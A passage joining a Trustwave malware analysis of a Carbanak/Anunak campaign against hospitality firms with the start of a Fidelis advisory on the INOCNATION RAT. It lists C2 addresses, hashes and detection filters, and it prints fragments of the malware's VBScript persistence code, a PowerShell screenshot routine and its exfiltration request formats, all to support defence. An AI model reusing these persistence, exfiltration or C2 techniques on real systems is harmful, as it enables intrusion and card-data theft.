disguises itself as such. 1/14 https://www.trustwave.com/Resources/SpiderLabs-Blog/New-Carbanak-/-Anunak-Attack-Methodology/ https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b8d2388208970c-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01bb0951b4d2970d-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b8d23939ea970c-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b7c8af6b38970b-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b7c8af6d3d970b-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01bb09526863970d-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01bb0952687c970d-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b8d2393cee970c-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b8d2393cf6970c-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01bb095268ac970d-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01bb095268ba970d-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b7c8af6e3e970b-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b7c8af6e43970b-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b8d2393d3c970c-pi https://blog.spiderlabs.com/.a/6a0133f264aa62970b01bb095268e2970d-pi The malware contacts the following and may attempt to download doc: http://revital-travel.com/cssSiteteTemplates http://juste-travel.com/cssSiteteTemplates http://park-travels.com All domains resolve to the same IP address (192.99.14.211) http://95.215.46.249 179.43.133.34 The malware may report to the following command and Control Servers, depending on the version used in the attack: http://148.251.18.75 http://95.215.46.221 http://95.215.46.229 http://95.215.46.234 http://81.17.28.124 This malware was capable of stealing significant system and network information. It was also used to download several other reconnaissance tools to map out the network. Downloaded tools have included Nmap, FreeRDP, NCat, NPing, and others. Two files of significance, el32.exe and el64.exe, are privilege escalation exploits for 32 and 64 bit architectures. Their hashes are as follows: el32.exe SHA1: 83D0964F06E5F53D882F759E4933A6511730E07B el64.exe SHA1: CF5B30E6ADA0D6EE7449D6BDE9986A35DF6F2986 This malware was primarily responsible for the reconnaissance stage of the attack. However, it also downloaded additional malware that enables the next stage of the attack and could execute powershell scripts on command. Beaconing - AdobeUpdateManagementTool.vbs We have seen slightly different data beaconing methodologies over the different attacks, but the general approach has remained the same. Beaconing messages are sent out to 179.43.133.34 via standard HTTP GET requests every 5 minutes. Using this simple methodology allows the beaconing to hide very well within standard corporate network traffic. The content of the GET request is encoded with Base64 and secondarily encrypted with RC4. Trustwave has written a specialized decoder for this traffic and it can be obtained upon request. The innocuous nature of this traffic allows it to be stealthy in a corporate network, however, its uniformity of structure also allows analysts to identify it relatively quickly as well. Security staff can identify beaconing traffic using the following technique. The network packet times of the GET requests originating from a compromised host occur almost exactly every 300 seconds (5 minutes). No web content is ever returned from the GET request except for code 200 OK, as shown below. ( Please note that the namevalue pairs have been snipped for confidentiality reasons): GET /random_param_name.jsp?qqksqMTgzLTIyIDhBIDkwI IDNFIDYwIDZCIDU4IEJFIDZCIENFIDY3kfb4mzMTgzLTIyIDhBIDkwIEV IDBGIDUyIDZDIDhFxzn8MTgzLTIyIDhBIDkwIEVGID DUyIDZDIDhF HTTP/1.1 Connection: Keep-Alive Keep-Alive: 300 Content-Type: application/x-www-form-urlencoded Accept: / User-Agent: Mozilla/5.0 (Linux U Android 2.3.3 zh-tw HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Charset: utf-8 Host: 179.43.133.34 2/14 https://blog.spiderlabs.com/.a/6a0133f264aa62970b01b8d23882f1970c-pi HTTP/1.1 200 OK Date: Tue, 08 Nov 2016 20:12:05 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.45-0deb7u2 Vary: Accept-Encoding Content-Length: 0 Keep-Alive: timeout5, max100 Connection: Keep-Alive Content-Type: text/html The purpose of the GET request, with nothing coming back except the 200 code, is to phone home so the attacker knows the compromised system is available for further exploitation. To locate these specific GET requests you can use the following regular expression as an initial filter: grep -E GET /[a-z]1,4[a-z0-9]1,6\.jsp\? log.txt Full analysis of this malware can be found later in this report. Second Stage Carbanak / Anunak Malware: Filename: bf.exe SHA1: 3d00602c98776e2ea5d64a78fc622c4ff08708e3 This malware executes a new iteration of svchost.exe and injects its malicious code into this running process. This hides the malware within the svchost.exe process. ( Warning- our analysis has shown that some antivirus firms incorrectly identify this file as ransomware.) It then drops a pseudo-randomly named configuration file into the ProgramData\Mozilla folder. This files name is base64 encoded and based on the infected systems MAC code, so identifying it by name will be challenging. However, it does always have a .bin extension. Any recent file in this folder with a .bin extension may be suspect. It then searches Kaspersky antivirus processes and terminates them if running on the victim system. For persistency, it registers itself as a service with the following details: Service name: RpcSsSys (this name is random, may vary on different system) Path: C:\Documents and Settings\All Users\Application Data\Mozilla\svchost.exe Display name: Emote Procedure Call (RPC) It then proceeds to download kldconfig.exe, kldconfig.plug, and runmem.wi.exe. These tools are all well-known Carbanak malware and variations of them were used in the banking intrusions that made them famous in 2015. Additionally, the decrypted string references anunak_config which is the encrypted configuration file that it downloads from its control server. The Anunak crime group is generally believed to be synonymous with Carbanak. This malware is very multi-functional as it can enable remote desktop, steal local passwords, search users email, target IFOBS banking systems (which Carbanak used so effectively in recent banking attacks), or install completely different remote desktop programs, such as VNC or AMMYY. Full details on this malwares functionality is included later in this report. Finally, this malware, like so many others, is designed to target credit card data by scraping memory on Point-of-Sale systems. This leaves little doubt as to its end goal on victim systems. The attacker uses social engineering to gain their foothold in the victim network, downloads reconnaissance tools to scan the network and move laterally into the card holder data environment, and then infects systems able to process 3/14 card transactions. Exfiltration bf.exe This malware provides the attacker remote command and control of the victim system via a multifunctional backdoor capability. It communicates via an encrypted tunnel on port 443 with the following IP addresses: 5.45.179.173 92.215.45.94 These are also the destinations that stolen data will be exfiltrated to. This malware may steal credit card data, as well as screen captures, keylogger information, email addresses from the PST file, enable RDP or VNC sessions, or to obtain additional system information. All exfiltrated information is encrypted with base64RC2 and sent via HTTP POST messages. If you identify any of these IoCs on your network, you should contact a Trustwave account representative immediately, or reach out directly to the Trustwave SpiderLabs IR team at our 24-hour hotline: 24hr Hotline 1 (866) 659-9097 Option 5 International: 1 (312) 873-7500, Option 4 Detailed Analysis of Carbanak Malware: Malicious Word Document Attachment / Adobeupdatetool. Vbs (Version 1) Summary The file is OLE compound file format that contains an embedded .VBE (encoded VBS) script. The dropped script is capable of stealing system information, desktop screenshots and to download / execute additional malware. Analysis The encoded VBScript is embedded in OLE compound file. 4/14 When the malicious document file is opened, the embedded VBScript (VBE) file is dropped in the Windows temp folder. The Loader VBScript The dropped VBE file is a loader script that drops, installs and executes a second layer VBScript payload in the victims system. It creates a folder named WindowsUpdate_ in the Windows temp directory, If the folder already exists, it will create the folder in the parent directory where the script resides. SSCripTdirsh. ExpanDEnvirOnmentStrings(TMP)\WindowsUpdate_ IF not fso. FoldErEXIstS(sScriptdiR)Then fso. CReatefOlder SScriptDir End IF Err. Clear If NoT fso. FolderExiSTs(SSCriptDir)THen sScriptDirfso. GetParentFolderName(Wscript. ScriptFulLName)\WindowsUpdate_ If NoT fso. FOlderExiSts(SScriptDir)THen fso. CReAteFolder sscriptDir A registry key is created that points to the Loaders directory sh. RegWriTeHKEY_CURRENT_USER\System\CurrentControlSet\Control\Network\LdrPath,sScriPtdIr,REG_SZ The second VBScript payload is embedded in the loader script as a Base64 string: The loader script decodes the base64 string. This is then saved to a file named AdobeUpdateManagementTool.vbs into the \WindowsUpdate_ folder. Dim run_Pth_scR run_pth_scrldrpath\AdobeUpdateManagementTool.vbs dim RUn_Pth A persistence registry key is also created by the loader script: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\AdobeUpdateManagementTool On ErrOr Resume NExt sh. RegWrIteHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\AdobeUpdateManagementTool,run_pth,REG_SZ ErR_NUmBererr.number If Err_nuMber0 Then cerr1.ErrAddError I-9,0 Err. ClEar End If On Error Resume next sh. RegWriteHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\AdobeUpdateManagementTool,ruN_ptH,REG_SZ Err_NumbereRr.number The loader script adds a scheduled task with a task named SysChecks. The purpose of this scheduled task is to run the payload script (AdobeUpdateManagementTool.vbs) in every 5 minutes sh. Runschtasks /create /tn SysChecks /tr run_pth /sc minute /mo 5,0,falSe A SWF icon file is also dropped in the folder in order to disguise the dropped file as a Shockwave Flash file: A shortcut file is also added in the Windows startup folder as AdobeUpdateManagementTool.lnk Set LinKSTartsh. CreateShoRTcuT(SPath\AdobeUpdateManagementTool.lnk) With LinksTart LinksTart. ArGuMeNtsruN_pth_scr .dEsCriptionAdobeUpdateManagementTool .HoTKeYCTRLX .IconLocationico_Filename .TargEtPathwscRipt_pThPaTH .WiNdoWStyle7 .WorkinGdirectorysh. ExpandEnvironmEntStrings(windir\System32) .SaVe The Payload Script The payload script is dropped in the temp\WindowsUpdate_ as AdobeUpdateManagementTool.vbs. The script uses obfuscation, a combination of base64 and integer-ed characters (chr) to hide malicious code. 5/14 Example of obfuscation: (F9lornwzv1(cnVuZGxsMzIga2U) chr(29 85) chr(81 29) chr(-42 143) chr(-76 184) chr(-20 71) chr(-51 101) chr(67 -23) chr(70 13) chr(-57 165) chr(50 51) chr(-67 168) chr(53 59) ) The payload script checks if the following folder exists otherwise it creates it: AllUsersProfile \Dropebox (for example in Windows 7 system: C:\ProgramData\DropeboxJoePC). This is where it stores additional script files and stolen data: dim EZ0uaqbfk9m: EZ0uaqbfk9m EY4hrd8cuo. ExpandEnvironmentStrings(USERNAME) EZ0uaqbfk9m DT6zmqx4fb( EZ0uaqbfk9m ) FA1pcr7i8c3z ldrpath \Dropebox EZ0uaqbfk9m The payload has the following functionality: Steal system information System Name System Manufacturer System Model Time Zone Total Physical Memory Processor System Type Processor BIOS Version Networking information Computer name Domain User name Desktop screenshot A powershell script (filename: screenshot__.ps1) is created to screenshot victims desktop. Desktop screenshot routine, dropped as a powershell ErrorActionPreferencestop try [Reflection. Assembly]::LoadWithPartialName(System. Drawing) function screenshot([Drawing. Rectangle]bounds, path) bmp New-Object Drawing. Bitmap bounds.width, bounds.height graphics [Drawing. Graphics]::FromImage(bmp) graphics. CopyFromScreen(bounds. Location, [Drawing. Point]::Empty, bounds.size) bmp. Save(path) graphics. Dispose() bmp. Dispose() ScriptDir Split-Path script:MyInvocation. MyCommand. Path pth ScriptDir \screenshot__.png bounds [Drawing. Rectangle]::FromLTRB(0, 0, 1500, 1000) screenshot bounds pth catch Downloaded malicious executable It may also be able to receive additional malware executables and install them on the victims computer. Terminate Processes The payload is also capable of terminating processes. Network The malware sends stolen data to the following URI: urlArry(0) http://95.215.46.249 urlArry(1) http://revital-travel.com/cssSiteteTemplates urlArry(2) http://juste-travel.com/cssSiteteTemplates The data is sent as a data encrypted with RC4 and Base64 It is sent via an HTTP POST tunnel to the attackers server. POST /random_param_name.jsp? xz2qMjgtQUIgMTEgRDYgMEYgMTggNTYgNEUgRDQgODYgQTEgNUQgOTAgRDEgQjAgM0UgNEIgRkEgMDIgRTQgOEUgOUIgNUUgNEEgMTYgMTcgMDIgQzYgRDQgMzcgMUEgNTUgOTggQUIgQjYgMEIgNkUgMTggOUMgMTQgMjcgMEQgNUQgRDUgNUUgMkMgM0IgN0YgQUYgNUUgNzYgMzYgRUUgN0QgODIgRDMgMzYgN0EgNzIgNDYgNjEgNTEgQTcgQ0EgMzIhwhv50mMjgtQUIgMTEgRDYgMEYgMDQgNDkgNzQgQkMgQUUgRkMgNUEgOTcgRDEgQjAgM0UgNEIgRkEgMDIgRTQgOEUgOUIgNUUgNEEgMTYgMTcgMDIgQzYgRDQgMzcgMUEgNTUgOTggQUIgQjYgMEIgNkUgMTggOUMgMTQgMjcgMEQgNUQgRDUgNUUgMkMgM0IgN0YgQUYgNUUgNzYgMzYgRUUgN0QgODIgRDMgMzYgN0EgNzIgNDYgNjEgNTEgQTcgQ0EgMzIcfcch9sMjgtQUIgMTEgRDYgMEYgMUYgNTQgMTcgQkQgODIgODQgNTUgQzkgRDEgQjAgM0UgNEIgRkEgMDIgRTQgOEUgOUIgNUUgNEEgMTYgMTcgMDIgQzYgRDQgMzcgMUEgNTUgOTggQUIgQjYgMEIgNkUgMTggOUMgMTQgMjcgMEQgNUQgRDUgNUUgMkMgM0IgN0YgQUYgNUUgNzYgMzYgRUUgN0QgODIgRDMgMzYgN0EgNzIgNDYgNjEgNTEgQTcgQ0EgMzI HTTP/1.1 Connection: Keep-Alive Keep-Alive: 300 Content-Type: multipart/form-data boundaryeb3d0b5d91fbde4d7a58ef5b9c954051 Accept: / Accept-Language: en-us User-Agent: Mozilla/5.0 (Linux U Android 2.3.3 zh-tw HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Charset: utf-8 Content-Length: 7274 Host: 95.215.46.249 Detailed Analysis of Carbanak Malware: Malicious Word Document Attachment / Adobeupdatetool. Vbs (Version 2) Summary 6/14 This file is written in VBScript. It can receive commands from the attacker to download and execute EXE files, VBScript, or Powershell script files. Exfiltrated data is sent to the attackers IP addresses through an HTTP POST tunnel Analysis Upon execution AdobeUpdateManagementTool.vbs will query the process in the infected system if it is already running, if an existing instance of the script is already running, it will quit, otherwise it will proceed. It then attempts to read the following registry key: HKEY_CURRENT_USER\System\CurrentControlSet\Control\Network\CC - Computer Count The script then generates a unique identifier, using the following format: md_id - l_ver - ptrtr - compCountwhere: md_id - XORed Computer name and MAC Address. l_ver - hard coded in the malware script e.g. Dim HH5hjs54j69a: HH5hjs54j69a 1 ptrtr - hard coded in the malware script e.g Dim HI0cvexizqw: HI0cvexizqw 2 compCount - value from the registry key: HKEY_CURRENT_USER\System\CurrentControlSet\Control\Network\CC, default value is the string NO The malicious script checks if the following folder exists otherwise it creates it: AllUsersProfile \Dropebox username for example in Windows 7 system C:\ProgramData\DropeboxJoePC The following files will be dropped under this Folder, these files are only created if required by the command sent by the attacker: 1. screenshot__.ps1 - a powershell script that takes screenshots of the active desktop 2. screenshot__.png - the screenshot image 3. exe__.exe - an executable file sent by the attacker 4. vb__.vbs - a VBscript sent by the attacker 5. ps1__.ps1 - a Powershell script sent by the attacker 6. insatller.vbs - updater script sent by the attacker Every time this script is executed, it requests commands from the Attackers control server using HTTP GET request. GET /random_param_name.jsp?pIdunique ID md_idMD5 hash of the current Date Time - this is encrypted in RC4 with hardcoded key and Base64. The GET parameters may also be iterated up to 3 times. User-agent: Mozilla/5.0 (Linux U Android 2.3.3 zh-tw HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Charset:utf-8 Connection: Keep-Alive Keep-Alive:300 Content- Type: application/x-www-form-urlencoded The script receives three types of information from the GET request: id the unique ID of the infected system (md_id) cmd MD5 hash of the attackers command cmduniq contains a value that signifies that this command is unique The commands sent by the attackers are in MD5 hash, this is a anti-analysis technique. Here are the command hashes that the attacker may send: COMMAND HASH (MD5) DESCRIPTION info caf9b6b99962bf5c2264824231d7a40c Retrieves system information. See below for the detailed information and exfiltration method. proc 6844acdce7e192c21c184914d73ab6be Retrieves all running process. scrin e3b523c3cf36e1e0f64fec6ac6ac3ff7 Takes screenshot of desktop. This command drops and executes the file screenshot__ps1 and the image is saved to screenshot__.png. The image is then sent to the control server IP address via an HTTP POST tunnel 7/14 exe 98e83379d45538379c2ac4e47c3be81d The attacker sends this command with an accompanying executable file that is saved to a file called exe__.exe. This is then executed and after 10 seconds this file will be deleted. vbs b3720bcc7c681c1356f77ba9761fc022 The attacker sends this command with an accompanying VBScript that is saved as vb__.vbs. The script is executed and the result returned by the script is saved to a temporary file in the Windows temp folder. The results are sent to the control server through an HTTP POST tunnel (see exfiltration detail below). Both resulting files are deleted after the execution. Note: the results are encoded in Base64 with the following text format: type: vbs time: currrent time result: result details update 3ac340832f29c11538fbe2d6f75e8bcc This command receives an accompanying VBScript updater. This script is saved to insatller.vbs and then executed, it then uninstalls its old version. The file is deleted 10 seconds after execution. ps1 9ffb800e76372160cbb02415dccd7dec the attacker sends this command with an accompanying Powershell script that is saved to ps1__.ps. The script is executed and the result is returned by the script and is saved to a temporary file in the Windows temp folder. The result is sent to the control server through HTTP POST tunnel (see exfiltration detail below). Both files are deleted after the execution. Note: the results are encoded in Base64 with the following text format: type: ps1 time: currrent time result: result details dll 06416233fe5ec4c5933122e4ab248af1 This command did not function in this version of the malware. delete 099af53f601532dbd31e0ea99ffdeb64 Removes the service running this script by running this command cmd.exe /c sc delete ADOBEUPDTOOL. ( This Service was installed by the dropper of this script. ). It then deletes this script. scrrunr cbd22ed4f5cd88afcfeae0cfc80ed482 Not actually a command, but somewhat an indicator that will be sent to the control server each time a script is executed. The malware checks for the following registry key if the command has the same cmduniq value. If it is the same, it terminates the script, otherwise it writes the cmdunig value to this registry key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\c_last Following is the System information sent to the control server when the command INFO is received from the attacker. OS Name Version Service Pack OS Manufacturer Windows Directory Locale Available Physical Memory Total Virtual Memory Available Virtual Memory System Name System Manufacturer System Model Time Zone 8/14 Total Physical Memory Processor System Type Processor BIOS Version Computer name Domain User name This system information is also stored in this registry key: HKEY_CURRENT_USER\System\CurrentControlSet\Control\Network\CLM The result data is exfiltrated after each attackers command is executed. This is sent as a HTTP POST request to the control server. POST /random_name.jsp?pIdunique ID md_idMD5 hash of Date Time Now - this is encrypted in RC4 with hardcoded key and Base64. The POST parameters may also be iterated up to 3 times. User-agent: Mozilla/5.0 (Linux U Android 2.3.3 zh-tw HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Charset:utf-8 Connection: Keep-Alive Keep-Alive:300 Content-Type: multipart/form-data boundaryRandom MD5 hash The HTTP POST uses the body format below: --random MD5 hash Content-Disposition: form-data namerandom name unique ID and current Date/Time Hash - encrypted with RC4 and Base64 --random MD5 hash Content-Disposition: form-data namerandom name pPar1cunique ID encrypted with RC4 and Base64 --random MD5 hash Content-Disposition: form-data namerandom name pPar2ccommands MD5 Hash encypted with RC4 and Base64 --random MD5 hash Content-Disposition: form-data namerandom name pPar3cResults/Data/StolenInformation encypted with RC4 and Base64 After executing the command and exfiltrating the data, the malware sleeps for 3- 5 minutes (depending on the configuration hard-coded in the script) then loops to request the command again. Network Command and Control Servers: http://148.251.18.75 http://95.215.46.221 http://95.215.46.229 http://95.215.46.234 http://81.17.28.124 Detailed Analysis of Carbanak Malware: bf.exe File Info Filename: bf.exe Size: 267216 Filetype: PE32 executable (GUI) Intel 80386, for MS Windows Compile Date: 2016-03-01 08:50:54 Sha1 Hash: 3d00602c98776e2ea5d64a78fc622c4ff08708e3 MD5 Hash: c7b224d95fc96094afd2678cae753dcb Summary 9/14 The file is a variant of Anunak/Carbanak malware. It provides functions from gathering information about the system to downloading and executing additional malware.
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Analysis: Malware Installation This malware unpacks its main executable in memory and executes it.
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Analysis: Malware Installation This malware unpacks its main executable in memory and executes it. It then drops a config file in the appdata\Mozilla folder as well as copy of itself with the filename svchost.exe. The config filename is a base64 string comprising of a unique string and the MAC address of the infected system. For example V14UDFcJZ1FfXQIIVA to V14UDFcJZ1FfXQIIVA.bin. It then spawns a new svchost.exe process with the command: C:\WINDOWS\system32\svchost.exe -k netsvcs and then injects its code to that process. After process injection, the main malware executable terminates. In this example the Mutex named V14UDFcJZ1FfXQIIVA is then created. For persistency, it registers itself as a service with the following details: Service name: RpcSsSys (this name is random, may vary on different systems) Path: C:\Documents and Settings\All Users\Application Data\Mozilla\svchost.exe Display name: Emote Procedure Call (RPC) Anti-reversing The malware checks for the isDebugged flag in the PEB (Process Environment Block). It also checks for significant delay of code execution by utilizing the GetTickCount() function. Delay in code execution means the process is being debugged. Strings are heavily obfuscated to avoid static string analysis. The malware has a decoder table loaded in memory that is used for its lookup algorithm. All strings are deobfuscated on-the-fly. decodertable \x00\x12\x1C\x13\x0A\x0D\x14\x07\x15\x0C\x16\x09\x05\x03\x17\x1D\x1A\x10\x1F \x0E\x08\x06\x11\x04\x1E\x19\x0B\x1B\x01\x02\x0F\x18\x20\x21\x42\x5E\x24\x25\x26\x4A\x28\x29\x6A\x6B \x2C\x2D\x53\x22\x30\x31\x7F\x4E\x34\x35\x4B\x5A\x38\x39\x7A\x7B\x3C\x3D\x43\x5F\x40\x41\x62\x63\x44 \x45\x46\x27\x48\x49\x47\x2B\x4C\x4D\x73\x4F\x50\x51\x52\x2E\x54\x55\x56\x57\x58\x59\x3A\x5B\x5C\x5D \x7E\x72\x60\x61\x2F\x23\x64\x65\x66\x2A\x68\x69\x67\x36\x6C\x6D\x33\x6F\x70\x71\x3F\x6E\x74\x75\x76 \x77\x78\x79\x37\x3B\x7C\x7D\x3E\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 A sample code snippet of the Decoder: An API Hashing technique is also utilized by the malware in order to hide relevant API functions it uses in its code. Rather than storing imported API names in the body, the malware author has pre-calculated the CRC hash of the API function. On runtime, all the malware does is to look-up the equivalent API name from its generated hash table. Antivirus retaliation Specific Kaspersky antivirus processes are terminated: avp.exe avpui.exe 10/14 Escalation of Privilege The malware checks the system OS: Windows 8.1 Windows 8 Windows 7 SP1 Windows Vista SP2 Windows RT 8.1 Windows RT Windows XP SP1 Windows XP SP2 Windows XP SP3 Windows Server 2012 Windows Server 2012 R2 Windows Server 2008 SP2 Windows Server 2008 R2 SP1 Windows Server 2003 SP2 If found, it attempts to exploit a vulnerability in win32k.sys identified as CVE-2013-3660 to escalate the privilege of the malware process. Obtaining the Proxy Settings The malware gets the proxy setting from the Internet Explorer registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer It also gets the proxy setting stored in Mozillas prefs.js file. The attacker however can push its own custom proxy settings to the malware. Enabling Remote Desktop The malware enables the Remote Desktop by starting the Termservice service. It also sets the service to auto-mode so that the service will start on Windows startup. It also enables the following Terminal Server registry key: HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server fDenyTSConnection 11/14 EnableConcurrentSessions AllowMultipleTSSession POS Malware Before the main POS routine, the malware searches data from the log file named nsb.pos.client.log and C:\NSB\Coalition\Log It then enumerates the processes listed in a config file (klgconfig.plug) pulled from the control server. From here it scrapes the process memory heap for credit card data, specifically the Track 1. After collecting the card data, it creates a file where it stores the information. This is the code snippet where it saves the data to an XML file: Outlook Items The malware also targets victims email data by scrounging the victims Outlook PST files for contacts email addresses, possibly to be used for further spear-phishing attacks from known individuals. Local Password Stealer The malware utilizes the open source project called Mimikatz and reused codes from this project to steal clear text local passwords from Lsass memory dump. Plugins 1. ifobs.pl- the malware reused code from the Carperp ifobs module to target a banking application called iFOBS. This is a very popular banking platform in Russia and Eastern Europe and this malware can be used to compromise IFOBS banking systems. When using this module, the malware hooks the following libraries: 12/14 VistaDB_D7.bpl, HProc2, 0xA9782FE7, OpenDatabaseConnection , RtlData1.bpl, HProc3, 0x1678D314, TaskAfterSynchRun , vcl70.bpl, HProc4, 0x8D55F8B4, TCustomFormShow , vcl70.bpl, HProc5, 0x3DF02899, TCustomFormCloseQuery , RtlStore.bpl, HProc6, 0xCF6CD66, GlobalAppStorage , RtlData1.bpl, HProc7, 0xAFD2F1E2, FillDataToDBCache , 2. ammyy.pl- this enables the malware to run AMMYY remote desktop control software 3. vnc.pl- this enables the malware to run a remote desktop VNC application Backdoor Commands The attacker can also send backdoor commands. In the malware code, a command hash table is used to compare commands (in readable strings) sent by the attacker, the hash of this command string is calculated by the malware. If the hash of the string matches any hash in the table, it executes the corresponding action. The image below is the command and its corresponding hash (in green font) Network It connects to a hardcoded IP address: 5.45.179.173 or 95.215.45.94 through an encrypted tunnel at port 443. Compiler/Artifacts The following sections describe artifacts found in the file Malware Version Info legalcopyright: Blattering internalname: Soulfulness companyname: Maidish Leveraged 13/14 legaltrademarks: Bobcats Kinsman filedescription: Sanger originalfilename: Adoptable Nightjars Conclusion In many ways, this attack follows a very common series of events: 1. Social engineering / phishing used to gain initial network foothold 2. Cleverly disguised malware establishes remote control of victim system and downloads additional tools 3. Attacker conducts reconnaissance to scan network, expand foothold, and identify high-value targets 4. Payment card information and/or PII (personally identifiable information) is captured and exfiltated back to the attacker. However, the persistence, professionalism, and pervasiveness of this campaign is at a level rarely seen by Trustwave. The malware used is very multifaceted and still not caught by most (if any) antivirus engines. The social engineering is highly targeted, conducted via direct phone calls by threat actors with excellent English skills. The network reconnaissance and lateral movement is rapid and highly effective. Finally, the data exfiltration methodology is stealthy and efficient. Carbanak is one of the most sophisticated threat actors in the cybercrime realm today and this report details a very active campaign currently being leveraged against hospitality and restaurant industries (and probably others). We encourage everyone to search their network for the IOCs described in this report and to contact Trustwave immediately if any are found. https://www.trustwave.com/Company/Contact/ Credits for the analysis and creation of this cyber threat announcement: Rodel Mendrez, Reno Zenere, James Antonakos, Brian Hussey 14/14 https://www.trustwave.com/Company/Contact/ New Carbanak / Anunak Attack Methodology Detailed Analysis of Carbanak Malware: Malicious Word Document Attachment / Adobeupdatetool. Vbs (Version 1) Detailed Analysis of Carbanak Malware: Malicious Word Document Attachment / Adobeupdatetool. Vbs (Version 2) Detailed Analysis of Carbanak Malware: bf.exe Conclusion WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 1 THREAT ADVISORY Fidelis Threat Advisory 1020 Dissecting the Malware Involved in the INOCNATION Campaign As the findings of a new malware attack campaign named INOCNATION emerged, Fidelis Threat Research investigated the Remote Access Tool (RAT) used in this campaign. We discovered some interesting characteristics. This particular RAT employs simple and cunning techniques to prevent its discovery or further investigation. The embedded anti-analysis techniques and other capabilities introduce tradecraft that is integrated directly into the malwares layers. Specifically we found that the malware utilized the following techniques: ff Different types of XOR techniques to obfuscate components and its contained strings ff The use of trusted security software as a decoy during initial infection ff Sandbox detection ff A mangled MZ header to deceive security products ff String Stacking obfuscation with Unicode Strings ff More than one layer of obfuscation for its command and control traffic ff Un-Install functionality MD5 Hash Function Description A7BD555866AE1C161F78630A638850E7 Initial Launcher/Dropper Executable (EXE) 2F7E5F91BE1F5BE2B2F4FDA0910A4C16 Decoy Installer for Cisco AnyConnect Mobility Client Executable (EXE) 4F4BF27B738FF8F2A89D1BC487B054A8 RAT Installer Executable (EXE) 75D3D1F23628122A64A2F1B7EF33F5CF RAT Implant/Payload OLE Control Library (DLL) 68F1419721354EC1f78A71E10B54FCA8 Cisco AnyConnect Mobility Client Valid Signed Executable (EXE) Initial Launcher/Dropper MD5 Hash: A7BD555866AE1C161F78630A638850E7 The initial launcher/dropper writes two executable files to the hard drive, the RAT Installer (MD5: 4F4BF27B738FF8F2A89D1BC487B054A8) and the Cisco AnyConnect decoy (MD5: 2F7E5F91BE1F5BE2B2F4FDA0910A4C16). This launcher is also responsible for the initial execution of both the malware and decoy processes. Both embedded executable files are obfuscated with an XOR operation using a single-byte hexadecimal key of 0x62, but both the XOR byte and the Null byte (0x00) is skipped. By skipping over the XOR bytes and Null bytes this helps the malware to protect itself from static analysis tools by preventing an accurate extraction. The only difference between the two de-obfuscation routines is how many bytes are XORed at a time during each round. The RAT Installer is XORed six bytes at a time and the Cisco decoy is XORed four bytes at a time. This additional code suggests that the malware author may change in the future from a repeated single-byte XOR key to a non-repeated multi- byte XOR key to better protect any future embedded malware. http://www. FidelisCybersecurity.com http://www.crowdstrike.com/blog/sakula-reloaded/ WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 2 Figure 1 - Six-byte XOR Routine (Malware Decode) Figure 2 - Four-byte XOR Routine (Decoy Decode) Decoy Installer for Cisco AnyConnect Mobility Client (MD5: 2F7E5F91BE1F5BE2B2F4FDA0910A4C16) Figure 3 - Cisco Installation Prompt Presented to the Victim WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 3 After being initiated by the initial launcher the legitimate looking decoy Cisco Installer process executes and becomes visible to the victim. The target victim may choose to continue or cancel the installation, but despite a victims decision to cancel the installation the malware infection continues under a separate running process. It silently begins to create and entrench the loaded malware into the systems background. If the victim chooses to continue with the Cisco installation the Cisco AnyConnect Mobility Client software is actually installed, as shown in Figures 4 and 5. Figure 4 - Installed Files from the Cisco AnyConnect Software Install Figure 5 - Execution of Cisco binary vpnui.exe (MD5: 68F1419721354EC1f78A71E10B54FCA8) The attackers use of decoy software is the same as when a threat actor will decide to display a decoy PFD or Office Document, to give the victim a sense that everything is fine and that there is no need to inform the IT or the Security team for investigation. But the decision by the attacker to use a widely known security application as an embedded decoy is a slightly more sophisticated ploy to the average user or to a less experienced systems administrator. WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 4 Figure 6 - Signature Verified by VirusTotal The Cisco AnyConnect, vpnui.exe, appears to be a legitimate application signed by Cisco with the following digital signature details: Name of signer: Cisco Systems, Inc. Signing time: Friday, July 24, 2015 Certificate serial : 63 6c 75 43 dd bd f9 69 f4 73 16 0f 4b 09 9b 9e By choosing common VPN software there is a high chance that the chosen vendors software may be in use within the intended victims corporate environment. Some investigation by the victim into the legitimacy of the software title, like in Figure 6, is intended to give a sense that it was the right thing in installing this security software. Also, users are bombarded by various software applications to apply security patches or by IT departments to install new software for upgrades and increased security. Most security software runs in the background so it may be that users have become more willing to run security software because they know they need it despite that they dont know what it actually does or how it is supposed to work, just that it is supposed to protect them. The use of this Cisco application could also reveal that the intended targets of this attack may be a system administrator holding higher-level privileged access credentials to multiple areas of the network 